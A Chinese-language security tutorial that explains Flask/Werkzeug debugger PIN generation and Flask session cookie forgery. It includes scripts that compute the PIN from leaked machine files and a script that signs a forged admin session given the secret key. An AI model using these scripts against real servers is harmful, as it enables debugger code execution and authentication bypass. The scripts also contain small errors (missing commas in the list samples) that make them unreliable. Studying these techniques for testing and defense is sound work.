跳转至

Flask相关攻击面

Flask算pin码的研究

PIN是什么?

PIN是 Werkzeug(它是 Flask 的依赖项之一)提供的额外安全措施,以防止在不知道 PIN 的情况下访问调试器。 您可以使用浏览器中的调试器引脚来启动交互式调试器。 请注意,无论如何,您都不应该在生产环境中使用调试模式,因为错误的堆栈跟踪可能会揭示代码的多个方面。 调试器 PIN 只是一个附加的安全层,以防您无意中在生产应用程序中打开调试模式,从而使攻击者难以访问调试器。 ——来自StackOverFlow回答

werkzeug不同版本以及python不同版本都会影响PIN码的生成

但是PIN码并不是随机生成,当我们重复运行同一程序时,生成的PIN一样,PIN码生成满足一定的生成算法

测试代码

Python
from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
    return 'test'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)

接下来开始调试程序,顺藤摸瓜找到生成PIN码的函数 PIN码是werkzeug的策略,先找到flask中导入werkzeug的部分

进入app.py,搜索werkzeug依赖项,可以看到run_simple中使用到了host,post等我们关注的参数

然后步入run_simple依赖

由于pin码只会在debug情况下使用,所以我们搜索debug,看到DebuggedApplication类

可以看到存在与pin码相关的变量

看到关键函数get_pin_and_cookie_name,里面将pin赋值

关键代码

Python
def get_pin_and_cookie_name(
    app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdecimal():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: str | None

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

我们可以在pin = os.environ.get("WERKZEUG_DEBUG_PIN")下断点,当程序运行到这时,pin的值为xxx-xxx-xxx,即含有-,根据代码逻辑,会将pin的值赋给rv,而num为None,而后代码处理到if rv is None:,就会将rv的值和num进行一系列运算,而这个返回的rv就是我们得到的pin码

由此我们可以看出,rv即pin码的值与num有关,我们就需要找到num的值和什么有关,num的值是 f"{int(h.hexdigest(), 16):09d}"[:9],那么由于for bit in chain(probably_public_bits, private_bits):,并且将值写到了h里面,所以num的生成就与probably_public_bits, private_bits有关

Python
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)

username = getpass.getuser()

probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

private_bits = [str(uuid.getnode()), get_machine_id()]

现在只有get_machine_id(),str(uuid.getnode()我们不知道

machine_id可以通过读取这三个文件内容获得,docker环境下一般读取第三个文件

uuid可以通过读取硬件地址得到

生成要素

username 通过getpass.getuser()读取,通过文件读取/etc/passwd

modname 通过getattr(mod,“file”,None)读取,默认值为flask.app

appname 通过getattr(app,“name”,type(app).name)读取,默认值为Flask

moddir flask库下app.py的绝对路径,通过报错读取

uuidnode 通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算,eth0替换为实际网卡

machine_id 每一个机器都会有自已唯一的id,正常机器读取前两个,docker读取后两个,随后拼接得到machine_id

1./etc/machine-id

2./proc/sys/kernel/random/boot_id

3./proc/self/cgroup

当这6个值我们可以获取到时,就可以推算出生成的PIN码

Python
import hashlib
from itertools import chain

probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name.  They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
    '2485377957890',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    # Machine Id: /etc/machine-id + [/proc/sys/kernel/random/boot_id] + [/proc/self/cgroup]
    '861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

然后这里还有一个点,python不同版本的算法区别

不同版本算法区别

3.6采用MD5加密,3.8采用sha1加密,所以脚本有所不同

MD5

Python
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'
     'flask.app',
     'Flask',
     '/usr/local/lib/python3.7/site-packages/flask/app.py'
]

private_bits = [
     '25214234362297',
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

SHA1

Python
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py'
]

private_bits = [
    '2485377581187',
    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

其实最稳妥的方法就是自己调试,把自己版本的生成PIN部分提取出来,把num和rv改成None,直接print rv就行

文件路径可以通过报错信息读取,而其他的就只能假设默认值或者配合文件读取漏洞来获取,总的来说,flask的pin码爆破利用条件很严苛

Flask Session破解及伪造

flask session的储存方式

第一种方式:直接存在客户端的cookies中

第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库

flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。

flask的session格式

flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。

Text Only
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;

签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。

flask session伪造

上面我们说到flask session是利用hmac算法将session数据,时间戳加上secert_key成的,那么我们要进行session伪造就要先得到secret_key,当我们得到secret_key我们就可以很轻松的进行session伪造。

secret_key一般存在于config.py文件

session伪造工具:https://github.com/noraj/flask-session-cookie-manager

Session解密

Python
#!/usr/bin/env python3
import sys
import zlib
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f'Usage: {sys.argv[0]} <cookie>')
        sys.exit(1)

    session = sys.argv[1]
    try:
        de_session = decryption(session.encode())
        print(de_session)
    except Exception as e:
        print(f'Error: {e}')
        sys.exit(1)
Text Only
python .\session_decrypt.py eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Y48ncA.H99Th2w4FzzphEX8qAeiSPuUF_0

得到:

JSON
{'username': b'www-data'}

而实际上,该脚本只解密了第一部分

Text Only
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ --> base64_decode --> {"username":{" b":"d3d3LWRhdGE="}} --> base64_decode --> {'username': b'www-data'}

Session伪造

Python
from hashlib import sha512
from flask.sessions import session_json_serializer
from itsdangerous import URLSafeTimedSerializer, BadTimeSignature
import base64
import zlib

PAYLOAD = {'Admin': True}

signer = URLSafeTimedSerializer(
    'secret-key', salt='cookie-session',
    serializer=session_json_serializer,
    signer_kwargs={'key_derivation': 'hmac', 'digest_method': sha512}
)

print(signer.dumps(PAYLOAD))

Note

需要注意的是,伪造session必须要secret-key,时间戳很好构造,加密算法一般默认,secret_key一般存在于config.py文件,所以可以配合文件读取漏洞

工具

Text Only
https://github.com/noraj/flask-session-cookie-manager

flask-unsign

Text Only
pip install flask-unsign

flask session伪造 - duskto - 博客园